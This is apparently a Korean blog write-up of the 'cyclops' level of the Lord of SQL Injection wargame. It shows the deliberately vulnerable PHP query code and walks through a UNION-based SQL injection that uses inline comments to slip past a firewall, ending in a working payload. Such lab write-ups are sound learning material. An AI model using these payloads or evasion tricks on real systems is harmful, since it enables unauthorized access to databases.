소스코드 분석
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
highlight_file(__FILE__);
?>
1. if(($result\['id'\] === "first") && ($result\['pw'\] === "second")) solve("cyclops");//must use union select
> union select를 할 필요가 있음
문제풀이
?id='<@=1 union select
이전 문제에서 계속 사용한 우회구문('<@=1
)을 이용하여 우회를 했지만 union select라는 문자열에서 방화벽에 걸리고 만다.
union select에 대한 우회는 주석을 통해 해결했다.
?id='<@=1 union/**/select
위와같은 페이로드를 요청할 시 403 Forbidden이 뜨지 않는 것을 확인 가능하다.
union select까지 우회했다면 문제의 목표를 달성해 주면 된다. 페이로드는 아래와 같다.
?id='<@=1 union/**/select 'first','second'-- -
'wargame > Lord Of SQL Injection' 카테고리의 다른 글
[LOS] manticore (0) | 2019.07.17 |
---|---|
[LOS] chupacabra (0) | 2019.07.16 |
[LOS] godzilla (0) | 2019.05.10 |
[LOS] death (0) | 2019.05.10 |
[LOS] cthulhu (0) | 2019.05.10 |